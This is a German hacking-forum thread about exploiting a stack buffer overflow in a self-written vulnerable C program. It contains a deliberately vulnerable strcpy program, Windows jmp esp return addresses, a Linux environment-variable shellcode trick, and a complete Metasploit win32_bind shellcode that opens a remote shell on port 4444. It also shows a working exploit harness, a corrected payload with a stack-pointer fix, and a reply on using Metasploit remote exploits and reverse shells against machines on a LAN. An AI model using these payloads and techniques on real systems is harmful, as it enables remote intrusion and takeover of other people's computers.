Bufferoverflow - Payload ausführen 0x00-Problem

Hallo liebe Hacker!

Ich experimentiere derzeit mit Bufferoverflows und habe ein kleines Problemchen die Payload in meinem kleinen Testprogrammchen auszuführen wegen eines 0x00 in der Adresse.

Zunächst das angreifbare Testprogramm:
Code:
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>

void process(char *data){

	char too_small[10];
	strcpy(too_small,data);
}

int main(int argc,char **argv)
{
	char buffer[1024];
	fgets(buffer,sizeof(buffer),stdin);
	process(buffer);
	printf("end\n");
	system("pause");
	return 0;
}
Also kurz: Über stdin werden bis zu 1023 bytes eingelesen und diese and process übergeben. Das Array too_small hat aber wie man sieht nur Platz für 10 Bytes.

Wenn ich "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH" eingebe wird der EIP mit den EEEE überschrieben. Hier möchte ich eigentlich die Adresse des Shellcodes einsetzen. Der Shellcode könnte doch gleich nach den EEEEEs beginnen. Das Problem ist dann allerdings, dass diese Adresse mit 0x00... beginnt und jetzt kann ich diese nicht einsetzen wegen des Nullabschlusses eines C-Strings. Hat jemand eine Idee wie man dieses Problem umgeht?
 
Der Eintrag im Wiki bezieht sich eher auf das Entfernen der Null-Bytes im Shellcode selbst, als auf die zu überschreibende Return Address, was in diesem Fall (Ret-Addr enthält Null Byte) das Problem darstellt.
Man kann sich helfen, indem man im Addressraum des Processes nach Opcodes sucht, die einen Jump auf den Stack (z.b. ein jmp esp, oder call esp) durchführen. Auch ein jmp eax, call eax etc.. wäre möglich, falls man den Inhalt des eax registers durch den overflow indirekt verändern kann. Auf metasploit.com gibt es ein eigenes Suchmodul für derartige Opcodes.

z.B.:

['Windows 2000 English SP0', 0x77e3c289], # jmp esp USER32.DLL
['Windows 2000 English SP1', 0x77e3cb4c], # jmp esp USER32.DLL

wären brauchbare ret-addresses (nullfrei) für win2ksp0,sp1

mfg
 
ss5 du hast das Problem richtig erkannt.
Auf diese Weise versuche ich es bereits zu lösen. Allerdings scheitert es daran die Register zu verändern, da ich nicht weis wie ich diese überschreiben kann. (sie werden nach den lokalen Variablen auf den Stack gepushed) Und selbst wenn ich z.b. in edi schreiben könnte müsste dort doch dann auch die 0x00 enthalten sein.
 
Du brauchst doch auch keine Register zu manipulieren, wenn du ein JMP [ESP] findest.
Denn diese Instruktion springt doch dann schon direkt zu deinem Shellcode auf dem Stack.
 
Mal ne Frage rein aus intresse :
Kannst du nicht denn Shellcode in eine Umgebungsvariable stecken.
Bin mir nicht sicher wie weit das nach Windows portierbar ist,

unter linux

$export SHCODE=`cat shellcode.bin`
Code:
//getenv.c

#include <stdio.h>

int main(int argc, char **argv){
    if(argc != 3){
       printf("usage: %s <env-var> <target executable>");
       printf("Zum Beispiel: ./getenv SHCODE ./vuln\n");
       return -1;
       }
    printf("%s is located @ %p\n", argv[1], ((getenv(argv[1])+(strlen(argv[0]*2-strlen(argv[2])*2)));

$./getenv SHCODE ./vuln
SHCODE is at 0xbfff1234
und dann mit
$./vuln `perl -e 'print "\x34\x12\xff\xbf" x (vulnbufferlen/4+8 )'`

bzw geht das natürlich nur wenn du eine möglichkeit hast die Addresse der Umgebungvariable auszulesen.
Unter Linux befindet sie sich im Stack.

mfg prEs
 
Das Problem mit den Nullen wäre unter Windows aber damit nicht gelöst. Die Umgebungsvariablen befinden sich bei Windows Prozessen ungefähr im Bereich von 0x0001000 bis 0x0010000.
 
Naja auch wenn das jetzt nur Spekulation ist.
Unter Linux kann man denn String beliebig lang machen.
Sprich man macht eine Env-Var 100000 byte groß, bzw einfach so groß bis man ne Addresse mit
0x01xxxxxxx hat und fügt dann erst denn Shellcode ein dann sollte man denn Nullbyte eigtl. umgehen können.
Unter Linux musst ich das letztens erst machen deswegen bin ich mir 100% sicher das es da funktioniert.
 
esp zeigt natürlich gleich auf den Shellcode, das ist toll und darauf hätte ich auch selbst kommen können. Mit ollydbg habe ich zum Glück gleich ein jmp esp in kernel32.dll gefunden. Jetzt wollte ich einfach eine Payload von metasploit anhängen und damit habe ich jetzt meine Probleme, da diese das Programm zum Abstürtzen bringt, obwohl sie funktioniert wenn ich diesen Shellcode einzelen über einen functionpointer ausführe.

Code:
int main(int argc,char **argv)
{
	char buffer[1024];
	/*fgets(buffer,sizeof(buffer),stdin);*/
	char *jmp_esp = "AAAABBBBCCCCDDDD\x7b\x46\x86\x7c";

		/* win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
	unsigned char scode[] =
	"\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x22"
	"\xaf\x5e\xfd\x83\xeb\xfc\xe2\xf4\xde\xc5\xb5\xb0\xca\x56\xa1\x02"
	"\xdd\xcf\xd5\x91\x06\x8b\xd5\xb8\x1e\x24\x22\xf8\x5a\xae\xb1\x76"
	"\x6d\xb7\xd5\xa2\x02\xae\xb5\xb4\xa9\x9b\xd5\xfc\xcc\x9e\x9e\x64"
	"\x8e\x2b\x9e\x89\x25\x6e\x94\xf0\x23\x6d\xb5\x09\x19\xfb\x7a\xd5"
	"\x57\x4a\xd5\xa2\x06\xae\xb5\x9b\xa9\xa3\x15\x76\x7d\xb3\x5f\x16"
	"\x21\x83\xd5\x74\x4e\x8b\x42\x9c\xe1\x9e\x85\x99\xa9\xec\x6e\x76"
	"\x62\xa3\xd5\x8d\x3e\x02\xd5\xbd\x2a\xf1\x36\x73\x6c\xa1\xb2\xad"
	"\xdd\x79\x38\xae\x44\xc7\x6d\xcf\x4a\xd8\x2d\xcf\x7d\xfb\xa1\x2d"
	"\x4a\x64\xb3\x01\x19\xff\xa1\x2b\x7d\x26\xbb\x9b\xa3\x42\x56\xff"
	"\x77\xc5\x5c\x02\xf2\xc7\x87\xf4\xd7\x02\x09\x02\xf4\xfc\x0d\xae"
	"\x71\xfc\x1d\xae\x61\xfc\xa1\x2d\x44\xc7\x4f\xa1\x44\xfc\xd7\x1c"
	"\xb7\xc7\xfa\xe7\x52\x68\x09\x02\xf4\xc5\x4e\xac\x77\x50\x8e\x95"
	"\x86\x02\x70\x14\x75\x50\x88\xae\x77\x50\x8e\x95\xc7\xe6\xd8\xb4"
	"\x75\x50\x88\xad\x76\xfb\x0b\x02\xf2\x3c\x36\x1a\x5b\x69\x27\xaa"
	"\xdd\x79\x0b\x02\xf2\xc9\x34\x99\x44\xc7\x3d\x90\xab\x4a\x34\xad"
	"\x7b\x86\x92\x74\xc5\xc5\x1a\x74\xc0\x9e\x9e\x0e\x88\x51\x1c\xd0"
	"\xdc\xed\x72\x6e\xaf\xd5\x66\x56\x89\x04\x36\x8f\xdc\x1c\x48\x02"
	"\x57\xeb\xa1\x2b\x79\xf8\x0c\xac\x73\xfe\x34\xfc\x73\xfe\x0b\xac"
	"\xdd\x7f\x36\x50\xfb\xaa\x90\xae\xdd\x79\x34\x02\xdd\x98\xa1\x2d"
	"\xa9\xf8\xa2\x7e\xe6\xcb\xa1\x2b\x70\x50\x8e\x95\xd2\x25\x5a\xa2"
	"\x71\x50\x88\x02\xf2\xaf\x5e\xfd";


	strcpy(buffer,jmp_esp);
	strcat(buffer,scode);
	//func = (void(*)(void))scode;
	//func();
	process(buffer);
	printf("end\n");
	system("pause");
	return 0;
}
 
Code:
unsigned char scode[] =
	"\x83\xEC\x0C\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x22"
	"\xaf\x5e\xfd\x83\xeb\xfc\xe2\xf4\xde\xc5\xb5\xb0\xca\x56\xa1\x02"
	"\xdd\xcf\xd5\x91\x06\x8b\xd5\xb8\x1e\x24\x22\xf8\x5a\xae\xb1\x76"
	"\x6d\xb7\xd5\xa2\x02\xae\xb5\xb4\xa9\x9b\xd5\xfc\xcc\x9e\x9e\x64"
	"\x8e\x2b\x9e\x89\x25\x6e\x94\xf0\x23\x6d\xb5\x09\x19\xfb\x7a\xd5"
	"\x57\x4a\xd5\xa2\x06\xae\xb5\x9b\xa9\xa3\x15\x76\x7d\xb3\x5f\x16"
	"\x21\x83\xd5\x74\x4e\x8b\x42\x9c\xe1\x9e\x85\x99\xa9\xec\x6e\x76"
	"\x62\xa3\xd5\x8d\x3e\x02\xd5\xbd\x2a\xf1\x36\x73\x6c\xa1\xb2\xad"
	"\xdd\x79\x38\xae\x44\xc7\x6d\xcf\x4a\xd8\x2d\xcf\x7d\xfb\xa1\x2d"
	"\x4a\x64\xb3\x01\x19\xff\xa1\x2b\x7d\x26\xbb\x9b\xa3\x42\x56\xff"
	"\x77\xc5\x5c\x02\xf2\xc7\x87\xf4\xd7\x02\x09\x02\xf4\xfc\x0d\xae"
	"\x71\xfc\x1d\xae\x61\xfc\xa1\x2d\x44\xc7\x4f\xa1\x44\xfc\xd7\x1c"
	"\xb7\xc7\xfa\xe7\x52\x68\x09\x02\xf4\xc5\x4e\xac\x77\x50\x8e\x95"
	"\x86\x02\x70\x14\x75\x50\x88\xae\x77\x50\x8e\x95\xc7\xe6\xd8\xb4"
	"\x75\x50\x88\xad\x76\xfb\x0b\x02\xf2\x3c\x36\x1a\x5b\x69\x27\xaa"
	"\xdd\x79\x0b\x02\xf2\xc9\x34\x99\x44\xc7\x3d\x90\xab\x4a\x34\xad"
	"\x7b\x86\x92\x74\xc5\xc5\x1a\x74\xc0\x9e\x9e\x0e\x88\x51\x1c\xd0"
	"\xdc\xed\x72\x6e\xaf\xd5\x66\x56\x89\x04\x36\x8f\xdc\x1c\x48\x02"
	"\x57\xeb\xa1\x2b\x79\xf8\x0c\xac\x73\xfe\x34\xfc\x73\xfe\x0b\xac"
	"\xdd\x7f\x36\x50\xfb\xaa\x90\xae\xdd\x79\x34\x02\xdd\x98\xa1\x2d"
	"\xa9\xf8\xa2\x7e\xe6\xcb\xa1\x2b\x70\x50\x8e\x95\xd2\x25\x5a\xa2"
	"\x71\x50\x88\x02\xf2\xaf\x5e\xfd";

Alternativ:
Code:
char *jmp_esp = "AAAABBBBCCCCDDDD\x7b\x46\x86\x7c\AAAAAAAA";

Funktioniert, weil "A" sich zu dem unwichtigen "INC ECX" auflöst.
 
Super +++ATH0, das klappt!
Interessieren würde micht allerdings ob du den Shellcode selbst angepasst hast oder ob dir Metasploit dabei geholfen hat. Mit Metasploit kenne ich mich noch nicht wirklich aus, wie kann einem das Framework helfen ausser als Shellcodedatenbank?
 
Naja, ich hab mir den Shellcode halt kurz angeguckt und gesehen, dass dieser davon ausgeht, dass der Stackpointer 3 DWORDs tiefer liegt*. Das lässt sich entweder dadurch korrigieren, dass man den Shellcode zum Beispiel um ein SUB ESP, 0x0C erweitert oder dem Buffer halt noch 3 DWORDs* mit noplike-intructions reinknallt.

EDIT: * Mindestens 2 DWORDs tiefer liegt als der Anfang des Shellcodes.
 
Metasploit bietet eine Auswahl an Exploits und Payloads.
Einfach in der Konsole mal help eingeben.
Zb wenn du eine Windows box im Lan hast kannst du dir aus der Datenbank ein remote-Exploit raussuchen dann denn gewünschten Payload (Meterpreter/Vnc-Session/reverse tcp shell usw.) und das Exploit gegen die Box einsetzen. Alles in allem relativ simpel :/ .
 
Original von +++ATH0
Naja, ich hab mir den Shellcode halt kurz angeguckt und gesehen, dass dieser davon ausgeht, dass der Stackpointer 3 DWORDs tiefer liegt*. Das lässt sich entweder dadurch korrigieren, dass man den Shellcode zum Beispiel um ein SUB ESP, 0x0C erweitert oder dem Buffer halt noch 3 DWORDs* mit noplike-intructions reinknallt.

EDIT: * Mindestens 2 DWORDs tiefer liegt als der Anfang des Shellcodes.

Richtig.. Der in diesem Fall verwendete FSTENV Trick (dient zum Festellen der eigenen Position des Shellcodes, um sich danach via XOR selbst zu entschlüsseln), schreibt an das Offset [esp-12] 28 bytes mit der Instruction fstenv [esp-12] .
Was sich aber im Endeffekt als Schuss in's Knie erweist, da der ESP noch immer auf den Shellcode zeigt, der um einige Bytes überschrieben wird und somit seine Funktion nicht mehr erfüllen kann. Wie +++ATH0 schon gesagt hat, hilft es den esp vor dem Shellcode noch einmal zu verschieben. Bei vielen Exploits von Metasploit findet man deshalb etwas derartiges im Code, um den Stackpointer zu fixen:

# sub esp, 4097 + inc esp makes stack happy
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",


mfg
 
Zurück
Oben